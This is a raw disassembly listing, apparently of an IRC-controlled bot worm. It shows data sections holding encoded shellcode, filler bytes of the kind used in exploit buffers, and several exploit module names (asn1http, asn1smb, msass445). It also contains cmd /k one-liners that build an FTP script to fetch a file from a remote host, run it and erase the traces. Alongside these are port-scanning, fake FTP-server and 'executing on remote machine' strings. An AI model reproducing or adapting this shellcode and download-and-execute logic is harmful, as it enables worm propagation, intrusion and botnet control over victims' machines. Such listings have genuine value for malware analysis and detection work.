--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4208EA loc_420922: ; CODE XREF: sub_4208EA+29j call sub_420915 loc_420927: ; DATA XREF: sub_402A56+1Bo ; .nsp0:0040AAB9o ... add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_4208EA ; --------------------------------------------------------------------------- db 3 dup(0) dword_42092C dd 60h dword_420930 dd 62B0606h, 2050501h, 0A0hdword_42093C dd 30h ; .nsp0:00425F8Co ... dword_420940 dd 0A1h dword_420944 dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_402AB1+153o align 10h loc_420950: ; DATA XREF: sub_402AB1+E8o jmp short near ptr dword_420958 ; --------------------------------------------------------------------------- align 8 dword_420958 dd 0 dword_42095C dd 2F2F7325h, 2E732520h, 0aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: sub_4032B0+55o db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 dword_4209D8 dd 200F1001h, 0Ah, 1001802h, 0 dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 aCmdKEchoOpen_0 db 'cmd /k echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_4038B1+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_403A5B+5CDo aQuit db 'QUIT',0 ; DATA XREF: sub_403A5B+5B9o ; .nsp0:0040A85Bo align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_403A5B+5ACo align 4 dword_421CA8 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_403A5B+561o dd 2029206Ch, 2BBBB02h aFileSentToSOnP db ' File sent to %s on port %d, now executing %s on remote machine.' db 0 align 4 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_403A5B+542o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_403A5B+516o align 4 aRetr db 'RETR',0 ; DATA XREF: sub_403A5B+4FEo align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_403A5B+4E9o align 4 aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_403A5B+4D8o aXX db '%x%x',0Ah,0 ; DATA XREF: sub_403A5B+4A5o align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_403A5B+464o db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_403A5B+42Bo align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_403A5B+3FDo align 10h aList db 'LIST',0 ; DATA XREF: sub_403A5B+3EAo align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_403A5B+3AFo align 4 aPasv db 'PASV',0 ; DATA XREF: sub_403A5B+39Co align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_403A5B+38Co aI: ; DATA XREF: sub_403A5B+378o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_403A5B+351o aA: ; DATA XREF: sub_403A5B+33Do unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_403A5B+326o ; sub_403A5B+361o align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_403A5B+316o align 4 off_421E64 dd offset dword_445750 ; DATA XREF: sub_403A5B+302o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_403A5B+2F2o align 4 aRest db 'REST',0 ; DATA XREF: sub_403A5B+2DEo align 4 a215Fuckftpd db '215 fuckFtpd',0Ah,0 ; DATA XREF: sub_403A5B+2CEo align 4 aSyst db 'SYST',0 ; DATA XREF: sub_403A5B+2BAo align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_403A5B+2AAo align 4 aPass db 'PASS',0 ; DATA XREF: sub_403A5B+296o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_403A5B+286o align 4 aUser_0 db 'USER',0 ; DATA XREF: sub_403A5B+271o ; .nsp0:00425DA4o ... align 4 aSS db '%s %s',0 ; DATA XREF: sub_403A5B+260o align 4 a220Fuckftpd0wn db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_403A5B+1D8o align 4 aRb db 'rb',0 ; DATA XREF: sub_4040DB+24o ; sub_405290+12Eo ... align 10h unk_421F00 db 2 ; DATA XREF: sub_404175+3F8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorServerFai db 'Error: server failed, returned: <%d>.',0 align 4 asc_421F48 db 0Dh,0Ah,0 ; DATA XREF: sub_404175+2CFo align 4 asc_421F4C: ; DATA XREF: sub_404175+293o ; .nsp0:0040A3E1o ... unicode 0, < >,0 aGet db 'GET ',0 ; DATA XREF: sub_404175+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_4045D0+F6o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_4045D0+D3o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_4045D0+97o align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_4045D0+83o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_4045D0:loc_404635o align 10h aTextHtml db 'text/html',0 ; DATA XREF: sub_4045D0+5Eo align 4 unk_42216C db 2 ; DATA XREF: .nsp0:004049E1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_4221B8 db 2 ; DATA XREF: .nsp0:0040495Do db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aWorkerThreadOf db 'Worker thread of server thread: %d.',0 asc_4221FC: ; DATA XREF: .nsp0:004048A9o ; .nsp0:004279D0o unicode 0, <*>,0 asc_422200: ; DATA XREF: .nsp0:0040484Do ; sub_404A02+29o ... dw 0Ah unicode 0, <>,0 aSS_2 db '%s%s',0 ; DATA XREF: .nsp0:0040483Co ; sub_404A02+4CAo ... align 4 aS_1 db '%s',0 ; DATA XREF: .nsp0:0040478Co ; sub_4084F5+4Co ... align 10h aS_2 db '\%s',0 ; DATA XREF: .nsp0:00404781o aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_404A02+64Eo align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_404A02+633o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_404A02+618o align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_404A02+589o align 10h aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_404A02+561o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_404A02:loc_404F1Ao align 10h aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_404A02+511o align 10h aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_404A02+471o align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_404A02+434o align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_404A02+401o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_404A02:loc_404DC4o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_404A02+3BBo align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_404A02+374o align 10h aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_404A02+330o ; sub_404A02+486o db '<TD WIDTH="%d"><A HREF="',0 align 10h aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_404A02+30Eo align 4 aS_0 db '<%s>',0 ; DATA XREF: sub_404A02+2E4o ; sub_404A02+413o align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_404A02+2BAo aAm db 'AM',0 ; DATA XREF: sub_404A02+290o align 4 aPm db 'PM',0 ; DATA XREF: sub_404A02+284o align 4 a__0: ; DATA XREF: sub_404A02+24Do unicode 0, <.>,0 a__ db '..',0 ; DATA XREF: sub_404A02+232o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_404A02+1C0o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404A02+147o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_404A02+12Bo db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_404A02+F7o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_404A02+ADo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 10h aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_404A02+78o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 10h aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404A02+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_40516F+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_4226B8 dd 4000500h, 7868746Bh, 0dword_4226C4 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_405290+47Fo dd 2029206Ch, 2BBBB02h aFileSentToSExe db ' File sent to %s, executing %s on remote machine.',0 align 4 unk_422714 db 2 ; DATA XREF: sub_405290+3B6o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileNotFoundOn db ' File not found on %s, (%s).',0 align 10h dword_422750 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_405290+399o unk_422764 db 2 ; DATA XREF: sub_405290+33Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFileSentToSE_0 db 'File sent to %s, executing %s on remote machine.',0 align 4 unk_4227B8 db 2 ; DATA XREF: sub_405290+15Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToOpenFi db 'Failed to open file: %s (possible virus scan!)',0 align 4 unk_422808 db 2 ; DATA XREF: sub_405290+6Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorSocketF_2 db 'Error: socket() failed, returned: <%d>.',0 aOctet db 'octet',0 ; DATA XREF: sub_405290+Fo align 4 aAsn1http_0 db 'asn1http',0 ; DATA XREF: sub_405DDD+164o align 2 aAsn1http db 'asn1http',0 ; DATA XREF: sub_4032B0+1C8o align 4 dd 5 dup(0) dword_422880 dd 50h ; .nsp0:0040CEA7r ... off_422884 dd offset sub_4032B0 ; DATA XREF: sub_405DDD+1E6r dword_422888 dd 0 ; sub_4032B0+202r ... dword_42288C dd 1 dword_422890 dd 1 aMsass445 db 'msass445',0 align 2 aAsn1smb db 'asn1smb',0 align 4 dd 5 dup(0) dd 1BDh, 4032B0h, 0 dd 2 dup(1), 316E7361h, 3933h, 73610000h, 6D73316Eh, 746E62h dd 5 dup(0) dd 8Bh, 4032B0h, 0 dd 2 dup(1), 6D7973h, 0 dd 79530000h, 746E616Dh, 6365h, 5 dup(0) dd 0B97h, 40399Fh, 0 dd 2 dup(1), 6D7973h, 0 db 2 dup(0) byte_422952 db 1 ; DATA XREF: .nsp0:loc_40E8A4r ; .nsp0:0040E8AEo aAsn139 db 'asn139',0 align 4 dd 100h, 3 dup(0) aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_405787+81o align 10h aSD db ' %s: %d,',0 ; DATA XREF: sub_405787+42o align 4 unk_42298C db 2 ; DATA XREF: sub_405787+11o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aExploitStatist db ' Exploit Statistics:',0 align 4 unk_4229C4 db 2 ; DATA XREF: sub_405851+42o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanNotActive_ db ' Scan not active.',0 unk_4229F8 db 2 ; DATA XREF: sub_405851+2Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCurrentIpS_ db ' Current IP: %s.',0 align 4 unk_422A2C db 2 ; DATA XREF: .nsp0:00405C37o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStartS db 'Failed to start server, error: <%d>.',0 align 4 unk_422A74 db 2 ; DATA XREF: .nsp0:loc_405BCFo ; .nsp0:0040EDECo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0 align 4 dword_422AC4 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: .nsp0:00405B2Fo dd 2029206Ch, 2BBBB02h aFailedToStar_0 db ' Failed to start server, error: <%d>.',0 align 4 dword_422B08 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: .nsp0:00405AC2o dd 2029206Ch, 2BBBB02h aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 unk_422B5C db 2 ; DATA XREF: .nsp0:00405A11o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStar_1 db 'Failed to start server, error: <%d>.',0 align 4 unk_422BA4 db 2 ; DATA XREF: .nsp0:004059A3o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aServerStarte_0 db 'Server started on Port: %d, File: %s, Request: %s.',0 align 4 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_405CA4+38o ; sub_408045+46o unk_422C04 db 2 ; DATA XREF: sub_405DDD+EBo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0 unk_422C40 db 2 ; DATA XREF: sub_405DDD+93o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 10h unk_422C90 db 2 ; DATA XREF: sub_405FF1:loc_4061BFo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_422CE8 db 2 ; DATA XREF: sub_405FF1+173o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0 align 4 unk_422D38 db 2 ; DATA XREF: sub_405FF1+103o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 unk_422D84 db 2 ; DATA XREF: sub_405FF1+87o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToInitia db ' Failed to initialize critical section.',0 align 10h unk_422DD0 db 2 ; DATA XREF: sub_406250+156o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartC db ' Failed to start client thread, error: <%d>.',0 align 10h unk_422E20 db 2 ; DATA XREF: sub_406250+E1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0 unk_422E78 db 2 ; DATA XREF: .nsp0:00406582o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0 align 4 unk_422ECC db 2 ; DATA XREF: .nsp0:004064B9o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: 